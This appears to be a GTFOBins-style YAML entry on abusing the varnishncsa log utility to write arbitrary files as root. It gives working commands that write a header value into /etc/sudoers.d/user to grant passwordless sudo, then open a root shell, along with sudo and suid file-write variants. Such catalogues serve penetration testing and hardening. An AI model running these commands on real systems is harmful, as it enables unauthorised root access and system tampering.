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Polish varnishncsa
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---
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description: varnishncsa utility reads varnishd shared memory Varnish logs and presents them in the Apache / NCSA "combined" log format.
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description: |
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This allows to write arbitrary files as root, provided that the proper HTTP response is made. Specifically the content of a certain header will be written in the file. First start `varnishncsa` as follows, then trigger the file write with:
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```
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curl -H 'yyy: DATA' http://localhost:6081/xxx
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```
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description:
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functions:
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sudo:
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- code: sudo varnishncsa -g request -q "ReqURL ~ \"/exploit_randomfoo\"" -F '%{exploit}i' -w /etc/sudoers.d/user &
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- code: curl -H 'exploit: user ALL = (ALL) NOPASSWD: ALL' localhost:6081/exploit_randomfoo
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- code: sudo bash
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sudo:
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code: |
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LFILE=file_to_write
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sudo varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
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suid:
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code: |
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LFILE=file_to_write
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./varnishncsa -g request -q 'ReqURL ~ "/xxx"' -F '%{yyy}i' -w "$LFILE"
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